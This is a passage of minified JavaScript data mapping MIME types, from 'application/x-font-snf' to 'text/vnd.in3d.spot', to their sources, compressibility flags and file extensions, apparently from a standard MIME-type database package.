ont-snf":{source:"apache",extensions:["snf"]},"application/x-font-speedo":{source:"apache"},"application/x-font-sunos-news":{source:"apache"},"application/x-font-type1":{source:"apache",extensions:["pfa","pfb","pfm","afm"]},"application/x-font-vfont":{source:"apache"},"application/x-freearc":{source:"apache",extensions:["arc"]},"application/x-futuresplash":{source:"apache",extensions:["spl"]},"application/x-gca-compressed":{source:"apache",extensions:["gca"]},"application/x-glulx":{source:"apache",extensions:["ulx"]},"application/x-gnumeric":{source:"apache",extensions:["gnumeric"]},"application/x-gramps-xml":{source:"apache",extensions:["gramps"]},"application/x-gtar":{source:"apache",extensions:["gtar"]},"application/x-gzip":{source:"apache"},"application/x-hdf":{source:"apache",extensions:["hdf"]},"application/x-httpd-php":{compressible:!0,extensions:["php"]},"application/x-install-instructions":{source:"apache",extensions:["install"]},"application/x-iso9660-image":{source:"apache",extensions:["iso"]},"application/x-iwork-keynote-sffkey":{extensions:["key"]},"application/x-iwork-numbers-sffnumbers":{extensions:["numbers"]},"application/x-iwork-pages-sffpages":{extensions:["pages"]},"application/x-java-archive-diff":{source:"nginx",extensions:["jardiff"]},"application/x-java-jnlp-file":{source:"apache",compressible:!1,extensions:["jnlp"]},"application/x-javascript":{compressible:!0},"application/x-keepass2":{extensions:["kdbx"]},"application/x-latex":{source:"apache",compressible:!1,extensions:["latex"]},"application/x-lua-bytecode":{extensions:["luac"]},"application/x-lzh-compressed":{source:"apache",extensions:["lzh","lha"]},"application/x-makeself":{source:"nginx",extensions:["run"]},"application/x-mie":{source:"apache",extensions:["mie"]},"application/x-mobipocket-ebook":{source:"apache",extensions:["prc","mobi"]},"application/x-mpegurl":{compressible:!1},"application/x-ms-application":{source:"apache",extensions:["application"]},"application/x-ms-shortcut":{source:"apache",extensions:["lnk"]},"application/x-ms-wmd":{source:"apache",extensions:["wmd"]},"application/x-ms-wmz":{source:"apache",extensions:["wmz"]},"application/x-ms-xbap":{source:"apache",extensions:["xbap"]},"application/x-msaccess":{source:"apache",extensions:["mdb"]},"application/x-msbinder":{source:"apache",extensions:["obd"]},"application/x-mscardfile":{source:"apache",extensions:["crd"]},"application/x-msclip":{source:"apache",extensions:["clp"]},"application/x-msdos-program":{extensions:["exe"]},"application/x-msdownload":{source:"apache",extensions:["exe","dll","com","bat","msi"]},"application/x-msmediaview":{source:"apache",extensions:["mvb","m13","m14"]},"application/x-msmetafile":{source:"apache",extensions:["wmf","wmz","emf","emz"]},"application/x-msmoney":{source:"apache",extensions:["mny"]},"application/x-mspublisher":{source:"apache",extensions:["pub"]},"application/x-msschedule":{source:"apache",extensions:["scd"]},"application/x-msterminal":{source:"apache",extensions:["trm"]},"application/x-mswrite":{source:"apache",extensions:["wri"]},"application/x-netcdf":{source:"apache",extensions:["nc","cdf"]},"application/x-ns-proxy-autoconfig":{compressible:!0,extensions:["pac"]},"application/x-nzb":{source:"apache",extensions:["nzb"]},"application/x-perl":{source:"nginx",extensions:["pl","pm"]},"application/x-pilot":{source:"nginx",extensions:["prc","pdb"]},"application/x-pkcs12":{source:"apache",compressible:!1,extensions:["p12","pfx"]},"application/x-pkcs7-certificates":{source:"apache",extensions:["p7b","spc"]},"application/x-pkcs7-certreqresp":{source:"apache",extensions:["p7r"]},"application/x-pki-message":{source:"iana"},"application/x-rar-compressed":{source:"apache",compressible:!1,extensions:["rar"]},"application/x-redhat-package-manager":{source:"nginx",extensions:["rpm"]},"application/x-research-info-systems":{source:"apache",extensions:["ris"]},"application/x-sea":{source:"nginx",extensions:["sea"]},"application/x-sh":{source:"apache",compressible:!0,extensions:["sh"]},"application/x-shar":{source:"apache",extensions:["shar"]},"application/x-shockwave-flash":{source:"apache",compressible:!1,extensions:["swf"]},"application/x-silverlight-app":{source:"apache",extensions:["xap"]},"application/x-sql":{source:"apache",extensions:["sql"]},"application/x-stuffit":{source:"apache",compressible:!1,extensions:["sit"]},"application/x-stuffitx":{source:"apache",extensions:["sitx"]},"application/x-subrip":{source:"apache",extensions:["srt"]},"application/x-sv4cpio":{source:"apache",extensions:["sv4cpio"]},"application/x-sv4crc":{source:"apache",extensions:["sv4crc"]},"application/x-t3vm-image":{source:"apache",extensions:["t3"]},"application/x-tads":{source:"apache",extensions:["gam"]},"application/x-tar":{source:"apache",compressible:!0,extensions:["tar"]},"application/x-tcl":{source:"apache",extensions:["tcl","tk"]},"application/x-tex":{source:"apache",extensions:["tex"]},"application/x-tex-tfm":{source:"apache",extensions:["tfm"]},"application/x-texinfo":{source:"apache",extensions:["texinfo","texi"]},"application/x-tgif":{source:"apache",extensions:["obj"]},"application/x-ustar":{source:"apache",extensions:["ustar"]},"application/x-virtualbox-hdd":{compressible:!0,extensions:["hdd"]},"application/x-virtualbox-ova":{compressible:!0,extensions:["ova"]},"application/x-virtualbox-ovf":{compressible:!0,extensions:["ovf"]},"application/x-virtualbox-vbox":{compressible:!0,extensions:["vbox"]},"application/x-virtualbox-vbox-extpack":{compressible:!1,extensions:["vbox-extpack"]},"application/x-virtualbox-vdi":{compressible:!0,extensions:["vdi"]},"application/x-virtualbox-vhd":{compressible:!0,extensions:["vhd"]},"application/x-virtualbox-vmdk":{compressible:!0,extensions:["vmdk"]},"application/x-wais-source":{source:"apache",extensions:["src"]},"application/x-web-app-manifest+json":{compressible:!0,extensions:["webapp"]},"application/x-www-form-urlencoded":{source:"iana",compressible:!0},"application/x-x509-ca-cert":{source:"iana",extensions:["der","crt","pem"]},"application/x-x509-ca-ra-cert":{source:"iana"},"application/x-x509-next-ca-cert":{source:"iana"},"application/x-xfig":{source:"apache",extensions:["fig"]},"application/x-xliff+xml":{source:"apache",compressible:!0,extensions:["xlf"]},"application/x-xpinstall":{source:"apache",compressible:!1,extensions:["xpi"]},"application/x-xz":{source:"apache",extensions:["xz"]},"application/x-zmachine":{source:"apache",extensions:["z1","z2","z3","z4","z5","z6","z7","z8"]},"application/x400-bp":{source:"iana"},"application/xacml+xml":{source:"iana",compressible:!0},"application/xaml+xml":{source:"apache",compressible:!0,extensions:["xaml"]},"application/xcap-att+xml":{source:"iana",compressible:!0,extensions:["xav"]},"application/xcap-caps+xml":{source:"iana",compressible:!0,extensions:["xca"]},"application/xcap-diff+xml":{source:"iana",compressible:!0,extensions:["xdf"]},"application/xcap-el+xml":{source:"iana",compressible:!0,extensions:["xel"]},"application/xcap-error+xml":{source:"iana",compressible:!0},"application/xcap-ns+xml":{source:"iana",compressible:!0,extensions:["xns"]},"application/xcon-conference-info+xml":{source:"iana",compressible:!0},"application/xcon-conference-info-diff+xml":{source:"iana",compressible:!0},"application/xenc+xml":{source:"iana",compressible:!0,extensions:["xenc"]},"application/xhtml+xml":{source:"iana",compressible:!0,extensions:["xhtml","xht"]},"application/xhtml-voice+xml":{source:"apache",compressible:!0},"application/xliff+xml":{source:"iana",compressible:!0,extensions:["xlf"]},"application/xml":{source:"iana",compressible:!0,extensions:["xml","xsl","xsd","rng"]},"application/xml-dtd":{source:"iana",compressible:!0,extensions:["dtd"]},"application/xml-external-parsed-entity":{source:"iana"},"application/xml-patch+xml":{source:"iana",compressible:!0},"application/xmpp+xml":{source:"iana",compressible:!0},"application/xop+xml":{source:"iana",compressible:!0,extensions:["xop"]},"application/xproc+xml":{source:"apache",compressible:!0,extensions:["xpl"]},"application/xslt+xml":{source:"iana",compressible:!0,extensions:["xsl","xslt"]},"application/xspf+xml":{source:"apache",compressible:!0,extensions:["xspf"]},"application/xv+xml":{source:"iana",compressible:!0,extensions:["mxml","xhvml","xvml","xvm"]},"application/yang":{source:"iana",extensions:["yang"]},"application/yang-data+json":{source:"iana",compressible:!0},"application/yang-data+xml":{source:"iana",compressible:!0},"application/yang-patch+json":{source:"iana",compressible:!0},"application/yang-patch+xml":{source:"iana",compressible:!0},"application/yin+xml":{source:"iana",compressible:!0,extensions:["yin"]},"application/zip":{source:"iana",compressible:!1,extensions:["zip"]},"application/zlib":{source:"iana"},"application/zstd":{source:"iana"},"audio/1d-interleaved-parityfec":{source:"iana"},"audio/32kadpcm":{source:"iana"},"audio/3gpp":{source:"iana",compressible:!1,extensions:["3gpp"]},"audio/3gpp2":{source:"iana"},"audio/aac":{source:"iana"},"audio/ac3":{source:"iana"},"audio/adpcm":{source:"apache",extensions:["adp"]},"audio/amr":{source:"iana",extensions:["amr"]},"audio/amr-wb":{source:"iana"},"audio/amr-wb+":{source:"iana"},"audio/aptx":{source:"iana"},"audio/asc":{source:"iana"},"audio/atrac-advanced-lossless":{source:"iana"},"audio/atrac-x":{source:"iana"},"audio/atrac3":{source:"iana"},"audio/basic":{source:"iana",compressible:!1,extensions:["au","snd"]},"audio/bv16":{source:"iana"},"audio/bv32":{source:"iana"},"audio/clearmode":{source:"iana"},"audio/cn":{source:"iana"},"audio/dat12":{source:"iana"},"audio/dls":{source:"iana"},"audio/dsr-es201108":{source:"iana"},"audio/dsr-es202050":{source:"iana"},"audio/dsr-es202211":{source:"iana"},"audio/dsr-es202212":{source:"iana"},"audio/dv":{source:"iana"},"audio/dvi4":{source:"iana"},"audio/eac3":{source:"iana"},"audio/encaprtp":{source:"iana"},"audio/evrc":{source:"iana"},"audio/evrc-qcp":{source:"iana"},"audio/evrc0":{source:"iana"},"audio/evrc1":{source:"iana"},"audio/evrcb":{source:"iana"},"audio/evrcb0":{source:"iana"},"audio/evrcb1":{source:"iana"},"audio/evrcnw":{source:"iana"},"audio/evrcnw0":{source:"iana"},"audio/evrcnw1":{source:"iana"},"audio/evrcwb":{source:"iana"},"audio/evrcwb0":{source:"iana"},"audio/evrcwb1":{source:"iana"},"audio/evs":{source:"iana"},"audio/flexfec":{source:"iana"},"audio/fwdred":{source:"iana"},"audio/g711-0":{source:"iana"},"audio/g719":{source:"iana"},"audio/g722":{source:"iana"},"audio/g7221":{source:"iana"},"audio/g723":{source:"iana"},"audio/g726-16":{source:"iana"},"audio/g726-24":{source:"iana"},"audio/g726-32":{source:"iana"},"audio/g726-40":{source:"iana"},"audio/g728":{source:"iana"},"audio/g729":{source:"iana"},"audio/g7291":{source:"iana"},"audio/g729d":{source:"iana"},"audio/g729e":{source:"iana"},"audio/gsm":{source:"iana"},"audio/gsm-efr":{source:"iana"},"audio/gsm-hr-08":{source:"iana"},"audio/ilbc":{source:"iana"},"audio/ip-mr_v2.5":{source:"iana"},"audio/isac":{source:"apache"},"audio/l16":{source:"iana"},"audio/l20":{source:"iana"},"audio/l24":{source:"iana",compressible:!1},"audio/l8":{source:"iana"},"audio/lpc":{source:"iana"},"audio/melp":{source:"iana"},"audio/melp1200":{source:"iana"},"audio/melp2400":{source:"iana"},"audio/melp600":{source:"iana"},"audio/mhas":{source:"iana"},"audio/midi":{source:"apache",extensions:["mid","midi","kar","rmi"]},"audio/mobile-xmf":{source:"iana",extensions:["mxmf"]},"audio/mp3":{compressible:!1,extensions:["mp3"]},"audio/mp4":{source:"iana",compressible:!1,extensions:["m4a","mp4a"]},"audio/mp4a-latm":{source:"iana"},"audio/mpa":{source:"iana"},"audio/mpa-robust":{source:"iana"},"audio/mpeg":{source:"iana",compressible:!1,extensions:["mpga","mp2","mp2a","mp3","m2a","m3a"]},"audio/mpeg4-generic":{source:"iana"},"audio/musepack":{source:"apache"},"audio/ogg":{source:"iana",compressible:!1,extensions:["oga","ogg","spx","opus"]},"audio/opus":{source:"iana"},"audio/parityfec":{source:"iana"},"audio/pcma":{source:"iana"},"audio/pcma-wb":{source:"iana"},"audio/pcmu":{source:"iana"},"audio/pcmu-wb":{source:"iana"},"audio/prs.sid":{source:"iana"},"audio/qcelp":{source:"iana"},"audio/raptorfec":{source:"iana"},"audio/red":{source:"iana"},"audio/rtp-enc-aescm128":{source:"iana"},"audio/rtp-midi":{source:"iana"},"audio/rtploopback":{source:"iana"},"audio/rtx":{source:"iana"},"audio/s3m":{source:"apache",extensions:["s3m"]},"audio/scip":{source:"iana"},"audio/silk":{source:"apache",extensions:["sil"]},"audio/smv":{source:"iana"},"audio/smv-qcp":{source:"iana"},"audio/smv0":{source:"iana"},"audio/sofa":{source:"iana"},"audio/sp-midi":{source:"iana"},"audio/speex":{source:"iana"},"audio/t140c":{source:"iana"},"audio/t38":{source:"iana"},"audio/telephone-event":{source:"iana"},"audio/tetra_acelp":{source:"iana"},"audio/tetra_acelp_bb":{source:"iana"},"audio/tone":{source:"iana"},"audio/tsvcis":{source:"iana"},"audio/uemclip":{source:"iana"},"audio/ulpfec":{source:"iana"},"audio/usac":{source:"iana"},"audio/vdvi":{source:"iana"},"audio/vmr-wb":{source:"iana"},"audio/vnd.3gpp.iufp":{source:"iana"},"audio/vnd.4sb":{source:"iana"},"audio/vnd.audiokoz":{source:"iana"},"audio/vnd.celp":{source:"iana"},"audio/vnd.cisco.nse":{source:"iana"},"audio/vnd.cmles.radio-events":{source:"iana"},"audio/vnd.cns.anp1":{source:"iana"},"audio/vnd.cns.inf1":{source:"iana"},"audio/vnd.dece.audio":{source:"iana",extensions:["uva","uvva"]},"audio/vnd.digital-winds":{source:"iana",extensions:["eol"]},"audio/vnd.dlna.adts":{source:"iana"},"audio/vnd.dolby.heaac.1":{source:"iana"},"audio/vnd.dolby.heaac.2":{source:"iana"},"audio/vnd.dolby.mlp":{source:"iana"},"audio/vnd.dolby.mps":{source:"iana"},"audio/vnd.dolby.pl2":{source:"iana"},"audio/vnd.dolby.pl2x":{source:"iana"},"audio/vnd.dolby.pl2z":{source:"iana"},"audio/vnd.dolby.pulse.1":{source:"iana"},"audio/vnd.dra":{source:"iana",extensions:["dra"]},"audio/vnd.dts":{source:"iana",extensions:["dts"]},"audio/vnd.dts.hd":{source:"iana",extensions:["dtshd"]},"audio/vnd.dts.uhd":{source:"iana"},"audio/vnd.dvb.file":{source:"iana"},"audio/vnd.everad.plj":{source:"iana"},"audio/vnd.hns.audio":{source:"iana"},"audio/vnd.lucent.voice":{source:"iana",extensions:["lvp"]},"audio/vnd.ms-playready.media.pya":{source:"iana",extensions:["pya"]},"audio/vnd.nokia.mobile-xmf":{source:"iana"},"audio/vnd.nortel.vbk":{source:"iana"},"audio/vnd.nuera.ecelp4800":{source:"iana",extensions:["ecelp4800"]},"audio/vnd.nuera.ecelp7470":{source:"iana",extensions:["ecelp7470"]},"audio/vnd.nuera.ecelp9600":{source:"iana",extensions:["ecelp9600"]},"audio/vnd.octel.sbc":{source:"iana"},"audio/vnd.presonus.multitrack":{source:"iana"},"audio/vnd.qcelp":{source:"iana"},"audio/vnd.rhetorex.32kadpcm":{source:"iana"},"audio/vnd.rip":{source:"iana",extensions:["rip"]},"audio/vnd.rn-realaudio":{compressible:!1},"audio/vnd.sealedmedia.softseal.mpeg":{source:"iana"},"audio/vnd.vmx.cvsd":{source:"iana"},"audio/vnd.wave":{compressible:!1},"audio/vorbis":{source:"iana",compressible:!1},"audio/vorbis-config":{source:"iana"},"audio/wav":{compressible:!1,extensions:["wav"]},"audio/wave":{compressible:!1,extensions:["wav"]},"audio/webm":{source:"apache",compressible:!1,extensions:["weba"]},"audio/x-aac":{source:"apache",compressible:!1,extensions:["aac"]},"audio/x-aiff":{source:"apache",extensions:["aif","aiff","aifc"]},"audio/x-caf":{source:"apache",compressible:!1,extensions:["caf"]},"audio/x-flac":{source:"apache",extensions:["flac"]},"audio/x-m4a":{source:"nginx",extensions:["m4a"]},"audio/x-matroska":{source:"apache",extensions:["mka"]},"audio/x-mpegurl":{source:"apache",extensions:["m3u"]},"audio/x-ms-wax":{source:"apache",extensions:["wax"]},"audio/x-ms-wma":{source:"apache",extensions:["wma"]},"audio/x-pn-realaudio":{source:"apache",extensions:["ram","ra"]},"audio/x-pn-realaudio-plugin":{source:"apache",extensions:["rmp"]},"audio/x-realaudio":{source:"nginx",extensions:["ra"]},"audio/x-tta":{source:"apache"},"audio/x-wav":{source:"apache",extensions:["wav"]},"audio/xm":{source:"apache",extensions:["xm"]},"chemical/x-cdx":{source:"apache",extensions:["cdx"]},"chemical/x-cif":{source:"apache",extensions:["cif"]},"chemical/x-cmdf":{source:"apache",extensions:["cmdf"]},"chemical/x-cml":{source:"apache",extensions:["cml"]},"chemical/x-csml":{source:"apache",extensions:["csml"]},"chemical/x-pdb":{source:"apache"},"chemical/x-xyz":{source:"apache",extensions:["xyz"]},"font/collection":{source:"iana",extensions:["ttc"]},"font/otf":{source:"iana",compressible:!0,extensions:["otf"]},"font/sfnt":{source:"iana"},"font/ttf":{source:"iana",compressible:!0,extensions:["ttf"]},"font/woff":{source:"iana",extensions:["woff"]},"font/woff2":{source:"iana",extensions:["woff2"]},"image/aces":{source:"iana",extensions:["exr"]},"image/apng":{compressible:!1,extensions:["apng"]},"image/avci":{source:"iana",extensions:["avci"]},"image/avcs":{source:"iana",extensions:["avcs"]},"image/avif":{source:"iana",compressible:!1,extensions:["avif"]},"image/bmp":{source:"iana",compressible:!0,extensions:["bmp"]},"image/cgm":{source:"iana",extensions:["cgm"]},"image/dicom-rle":{source:"iana",extensions:["drle"]},"image/emf":{source:"iana",extensions:["emf"]},"image/fits":{source:"iana",extensions:["fits"]},"image/g3fax":{source:"iana",extensions:["g3"]},"image/gif":{source:"iana",compressible:!1,extensions:["gif"]},"image/heic":{source:"iana",extensions:["heic"]},"image/heic-sequence":{source:"iana",extensions:["heics"]},"image/heif":{source:"iana",extensions:["heif"]},"image/heif-sequence":{source:"iana",extensions:["heifs"]},"image/hej2k":{source:"iana",extensions:["hej2"]},"image/hsj2":{source:"iana",extensions:["hsj2"]},"image/ief":{source:"iana",extensions:["ief"]},"image/jls":{source:"iana",extensions:["jls"]},"image/jp2":{source:"iana",compressible:!1,extensions:["jp2","jpg2"]},"image/jpeg":{source:"iana",compressible:!1,extensions:["jpeg","jpg","jpe"]},"image/jph":{source:"iana",extensions:["jph"]},"image/jphc":{source:"iana",extensions:["jhc"]},"image/jpm":{source:"iana",compressible:!1,extensions:["jpm"]},"image/jpx":{source:"iana",compressible:!1,extensions:["jpx","jpf"]},"image/jxr":{source:"iana",extensions:["jxr"]},"image/jxra":{source:"iana",extensions:["jxra"]},"image/jxrs":{source:"iana",extensions:["jxrs"]},"image/jxs":{source:"iana",extensions:["jxs"]},"image/jxsc":{source:"iana",extensions:["jxsc"]},"image/jxsi":{source:"iana",extensions:["jxsi"]},"image/jxss":{source:"iana",extensions:["jxss"]},"image/ktx":{source:"iana",extensions:["ktx"]},"image/ktx2":{source:"iana",extensions:["ktx2"]},"image/naplps":{source:"iana"},"image/pjpeg":{compressible:!1},"image/png":{source:"iana",compressible:!1,extensions:["png"]},"image/prs.btif":{source:"iana",extensions:["btif"]},"image/prs.pti":{source:"iana",extensions:["pti"]},"image/pwg-raster":{source:"iana"},"image/sgi":{source:"apache",extensions:["sgi"]},"image/svg+xml":{source:"iana",compressible:!0,extensions:["svg","svgz"]},"image/t38":{source:"iana",extensions:["t38"]},"image/tiff":{source:"iana",compressible:!1,extensions:["tif","tiff"]},"image/tiff-fx":{source:"iana",extensions:["tfx"]},"image/vnd.adobe.photoshop":{source:"iana",compressible:!0,extensions:["psd"]},"image/vnd.airzip.accelerator.azv":{source:"iana",extensions:["azv"]},"image/vnd.cns.inf2":{source:"iana"},"image/vnd.dece.graphic":{source:"iana",extensions:["uvi","uvvi","uvg","uvvg"]},"image/vnd.djvu":{source:"iana",extensions:["djvu","djv"]},"image/vnd.dvb.subtitle":{source:"iana",extensions:["sub"]},"image/vnd.dwg":{source:"iana",extensions:["dwg"]},"image/vnd.dxf":{source:"iana",extensions:["dxf"]},"image/vnd.fastbidsheet":{source:"iana",extensions:["fbs"]},"image/vnd.fpx":{source:"iana",extensions:["fpx"]},"image/vnd.fst":{source:"iana",extensions:["fst"]},"image/vnd.fujixerox.edmics-mmr":{source:"iana",extensions:["mmr"]},"image/vnd.fujixerox.edmics-rlc":{source:"iana",extensions:["rlc"]},"image/vnd.globalgraphics.pgb":{source:"iana"},"image/vnd.microsoft.icon":{source:"iana",compressible:!0,extensions:["ico"]},"image/vnd.mix":{source:"iana"},"image/vnd.mozilla.apng":{source:"iana"},"image/vnd.ms-dds":{compressible:!0,extensions:["dds"]},"image/vnd.ms-modi":{source:"iana",extensions:["mdi"]},"image/vnd.ms-photo":{source:"apache",extensions:["wdp"]},"image/vnd.net-fpx":{source:"iana",extensions:["npx"]},"image/vnd.pco.b16":{source:"iana",extensions:["b16"]},"image/vnd.radiance":{source:"iana"},"image/vnd.sealed.png":{source:"iana"},"image/vnd.sealedmedia.softseal.gif":{source:"iana"},"image/vnd.sealedmedia.softseal.jpg":{source:"iana"},"image/vnd.svf":{source:"iana"},"image/vnd.tencent.tap":{source:"iana",extensions:["tap"]},"image/vnd.valve.source.texture":{source:"iana",extensions:["vtf"]},"image/vnd.wap.wbmp":{source:"iana",extensions:["wbmp"]},"image/vnd.xiff":{source:"iana",extensions:["xif"]},"image/vnd.zbrush.pcx":{source:"iana",extensions:["pcx"]},"image/webp":{source:"apache",extensions:["webp"]},"image/wmf":{source:"iana",extensions:["wmf"]},"image/x-3ds":{source:"apache",extensions:["3ds"]},"image/x-cmu-raster":{source:"apache",extensions:["ras"]},"image/x-cmx":{source:"apache",extensions:["cmx"]},"image/x-freehand":{source:"apache",extensions:["fh","fhc","fh4","fh5","fh7"]},"image/x-icon":{source:"apache",compressible:!0,extensions:["ico"]},"image/x-jng":{source:"nginx",extensions:["jng"]},"image/x-mrsid-image":{source:"apache",extensions:["sid"]},"image/x-ms-bmp":{source:"nginx",compressible:!0,extensions:["bmp"]},"image/x-pcx":{source:"apache",extensions:["pcx"]},"image/x-pict":{source:"apache",extensions:["pic","pct"]},"image/x-portable-anymap":{source:"apache",extensions:["pnm"]},"image/x-portable-bitmap":{source:"apache",extensions:["pbm"]},"image/x-portable-graymap":{source:"apache",extensions:["pgm"]},"image/x-portable-pixmap":{source:"apache",extensions:["ppm"]},"image/x-rgb":{source:"apache",extensions:["rgb"]},"image/x-tga":{source:"apache",extensions:["tga"]},"image/x-xbitmap":{source:"apache",extensions:["xbm"]},"image/x-xcf":{compressible:!1},"image/x-xpixmap":{source:"apache",extensions:["xpm"]},"image/x-xwindowdump":{source:"apache",extensions:["xwd"]},"message/cpim":{source:"iana"},"message/delivery-status":{source:"iana"},"message/disposition-notification":{source:"iana",extensions:["disposition-notification"]},"message/external-body":{source:"iana"},"message/feedback-report":{source:"iana"},"message/global":{source:"iana",extensions:["u8msg"]},"message/global-delivery-status":{source:"iana",extensions:["u8dsn"]},"message/global-disposition-notification":{source:"iana",extensions:["u8mdn"]},"message/global-headers":{source:"iana",extensions:["u8hdr"]},"message/http":{source:"iana",compressible:!1},"message/imdn+xml":{source:"iana",compressible:!0},"message/news":{source:"iana"},"message/partial":{source:"iana",compressible:!1},"message/rfc822":{source:"iana",compressible:!0,extensions:["eml","mime"]},"message/s-http":{source:"iana"},"message/sip":{source:"iana"},"message/sipfrag":{source:"iana"},"message/tracking-status":{source:"iana"},"message/vnd.si.simp":{source:"iana"},"message/vnd.wfa.wsc":{source:"iana",extensions:["wsc"]},"model/3mf":{source:"iana",extensions:["3mf"]},"model/e57":{source:"iana"},"model/gltf+json":{source:"iana",compressible:!0,extensions:["gltf"]},"model/gltf-binary":{source:"iana",compressible:!0,extensions:["glb"]},"model/iges":{source:"iana",compressible:!1,extensions:["igs","iges"]},"model/mesh":{source:"iana",compressible:!1,extensions:["msh","mesh","silo"]},"model/mtl":{source:"iana",extensions:["mtl"]},"model/obj":{source:"iana",extensions:["obj"]},"model/step":{source:"iana"},"model/step+xml":{source:"iana",compressible:!0,extensions:["stpx"]},"model/step+zip":{source:"iana",compressible:!1,extensions:["stpz"]},"model/step-xml+zip":{source:"iana",compressible:!1,extensions:["stpxz"]},"model/stl":{source:"iana",extensions:["stl"]},"model/vnd.collada+xml":{source:"iana",compressible:!0,extensions:["dae"]},"model/vnd.dwf":{source:"iana",extensions:["dwf"]},"model/vnd.flatland.3dml":{source:"iana"},"model/vnd.gdl":{source:"iana",extensions:["gdl"]},"model/vnd.gs-gdl":{source:"apache"},"model/vnd.gs.gdl":{source:"iana"},"model/vnd.gtw":{source:"iana",extensions:["gtw"]},"model/vnd.moml+xml":{source:"iana",compressible:!0},"model/vnd.mts":{source:"iana",extensions:["mts"]},"model/vnd.opengex":{source:"iana",extensions:["ogex"]},"model/vnd.parasolid.transmit.binary":{source:"iana",extensions:["x_b"]},"model/vnd.parasolid.transmit.text":{source:"iana",extensions:["x_t"]},"model/vnd.pytha.pyox":{source:"iana"},"model/vnd.rosette.annotated-data-model":{source:"iana"},"model/vnd.sap.vds":{source:"iana",extensions:["vds"]},"model/vnd.usdz+zip":{source:"iana",compressible:!1,extensions:["usdz"]},"model/vnd.valve.source.compiled-map":{source:"iana",extensions:["bsp"]},"model/vnd.vtu":{source:"iana",extensions:["vtu"]},"model/vrml":{source:"iana",compressible:!1,extensions:["wrl","vrml"]},"model/x3d+binary":{source:"apache",compressible:!1,extensions:["x3db","x3dbz"]},"model/x3d+fastinfoset":{source:"iana",extensions:["x3db"]},"model/x3d+vrml":{source:"apache",compressible:!1,extensions:["x3dv","x3dvz"]},"model/x3d+xml":{source:"iana",compressible:!0,extensions:["x3d","x3dz"]},"model/x3d-vrml":{source:"iana",extensions:["x3dv"]},"multipart/alternative":{source:"iana",compressible:!1},"multipart/appledouble":{source:"iana"},"multipart/byteranges":{source:"iana"},"multipart/digest":{source:"iana"},"multipart/encrypted":{source:"iana",compressible:!1},"multipart/form-data":{source:"iana",compressible:!1},"multipart/header-set":{source:"iana"},"multipart/mixed":{source:"iana"},"multipart/multilingual":{source:"iana"},"multipart/parallel":{source:"iana"},"multipart/related":{source:"iana",compressible:!1},"multipart/report":{source:"iana"},"multipart/signed":{source:"iana",compressible:!1},"multipart/vnd.bint.med-plus":{source:"iana"},"multipart/voice-message":{source:"iana"},"multipart/x-mixed-replace":{source:"iana"},"text/1d-interleaved-parityfec":{source:"iana"},"text/cache-manifest":{source:"iana",compressible:!0,extensions:["appcache","manifest"]},"text/calendar":{source:"iana",extensions:["ics","ifb"]},"text/calender":{compressible:!0},"text/cmd":{compressible:!0},"text/coffeescript":{extensions:["coffee","litcoffee"]},"text/cql":{source:"iana"},"text/cql-expression":{source:"iana"},"text/cql-identifier":{source:"iana"},"text/css":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["css"]},"text/csv":{source:"iana",compressible:!0,extensions:["csv"]},"text/csv-schema":{source:"iana"},"text/directory":{source:"iana"},"text/dns":{source:"iana"},"text/ecmascript":{source:"iana"},"text/encaprtp":{source:"iana"},"text/enriched":{source:"iana"},"text/fhirpath":{source:"iana"},"text/flexfec":{source:"iana"},"text/fwdred":{source:"iana"},"text/gff3":{source:"iana"},"text/grammar-ref-list":{source:"iana"},"text/html":{source:"iana",compressible:!0,extensions:["html","htm","shtml"]},"text/jade":{extensions:["jade"]},"text/javascript":{source:"iana",compressible:!0},"text/jcr-cnd":{source:"iana"},"text/jsx":{compressible:!0,extensions:["jsx"]},"text/less":{compressible:!0,extensions:["less"]},"text/markdown":{source:"iana",compressible:!0,extensions:["markdown","md"]},"text/mathml":{source:"nginx",extensions:["mml"]},"text/mdx":{compressible:!0,extensions:["mdx"]},"text/mizar":{source:"iana"},"text/n3":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["n3"]},"text/parameters":{source:"iana",charset:"UTF-8"},"text/parityfec":{source:"iana"},"text/plain":{source:"iana",compressible:!0,extensions:["txt","text","conf","def","list","log","in","ini"]},"text/provenance-notation":{source:"iana",charset:"UTF-8"},"text/prs.fallenstein.rst":{source:"iana"},"text/prs.lines.tag":{source:"iana",extensions:["dsc"]},"text/prs.prop.logic":{source:"iana"},"text/raptorfec":{source:"iana"},"text/red":{source:"iana"},"text/rfc822-headers":{source:"iana"},"text/richtext":{source:"iana",compressible:!0,extensions:["rtx"]},"text/rtf":{source:"iana",compressible:!0,extensions:["rtf"]},"text/rtp-enc-aescm128":{source:"iana"},"text/rtploopback":{source:"iana"},"text/rtx":{source:"iana"},"text/sgml":{source:"iana",extensions:["sgml","sgm"]},"text/shaclc":{source:"iana"},"text/shex":{source:"iana",extensions:["shex"]},"text/slim":{extensions:["slim","slm"]},"text/spdx":{source:"iana",extensions:["spdx"]},"text/strings":{source:"iana"},"text/stylus":{extensions:["stylus","styl"]},"text/t140":{source:"iana"},"text/tab-separated-values":{source:"iana",compressible:!0,extensions:["tsv"]},"text/troff":{source:"iana",extensions:["t","tr","roff","man","me","ms"]},"text/turtle":{source:"iana",charset:"UTF-8",extensions:["ttl"]},"text/ulpfec":{source:"iana"},"text/uri-list":{source:"iana",compressible:!0,extensions:["uri","uris","urls"]},"text/vcard":{source:"iana",compressible:!0,extensions:["vcard"]},"text/vnd.a":{source:"iana"},"text/vnd.abc":{source:"iana"},"text/vnd.ascii-art":{source:"iana"},"text/vnd.curl":{source:"iana",extensions:["curl"]},"text/vnd.curl.dcurl":{source:"apache",extensions:["dcurl"]},"text/vnd.curl.mcurl":{source:"apache",extensions:["mcurl"]},"text/vnd.curl.scurl":{source:"apache",extensions:["scurl"]},"text/vnd.debian.copyright":{source:"iana",charset:"UTF-8"},"text/vnd.dmclientscript":{source:"iana"},"text/vnd.dvb.subtitle":{source:"iana",extensions:["sub"]},"text/vnd.esmertec.theme-descriptor":{source:"iana",charset:"UTF-8"},"text/vnd.familysearch.gedcom":{source:"iana",extensions:["ged"]},"text/vnd.ficlab.flt":{source:"iana"},"text/vnd.fly":{source:"iana",extensions:["fly"]},"text/vnd.fmi.flexstor":{source:"iana",extensions:["flx"]},"text/vnd.gml":{source:"iana"},"text/vnd.graphviz":{source:"iana",extensions:["gv"]},"text/vnd.hans":{source:"iana"},"text/vnd.hgl":{source:"iana"},"text/vnd.in3d.3dml":{source:"iana",extensions:["3dml"]},"text/vnd.in3d.spot":{source:"iana",extension